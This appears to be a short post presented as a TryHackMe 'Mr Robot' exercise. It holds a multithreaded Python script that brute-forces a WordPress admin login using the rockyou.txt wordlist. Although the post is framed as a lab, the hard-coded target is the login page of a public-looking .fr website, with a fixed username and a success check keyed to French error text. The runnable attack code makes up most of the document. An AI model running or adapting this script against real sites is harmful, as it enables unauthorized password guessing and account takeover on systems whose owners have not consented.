Cracking WordPress Website Passwords – Python Script

Part 1 of a Mr Robot themed try hack me challenge. We try to crack wordpress website password with a wordlist list by creating a python script. If you'd like to support me, please like, share and subscribe. If you have any suggestions or queries, feel free to comment.
import requests
from concurrent.futures import ThreadPoolExecutor,as_completed
url = "https://www.oserinvestir.fr/wp-login.php"
def doLogin(pwd):
loginBody = {
'log':'admin4572',
'pwd':pwd,
'wp-submit':'Log In'
}
return (requests.post(url,loginBody).text,pwd)
with ThreadPoolExecutor(max_workers = 50) as executor:
with open('rockyou.txt', 'rb') as wordlist:
futures = []
lines = [line.strip() for line in wordlist.readlines() if line]
lines = set(lines)
for line in lines:
futures.append(executor.submit(doLogin,line))
for future in as_completed(futures):
if future.result()[0].find("Erreur :") == -1:
print(future.result()[1])
you can run it with colab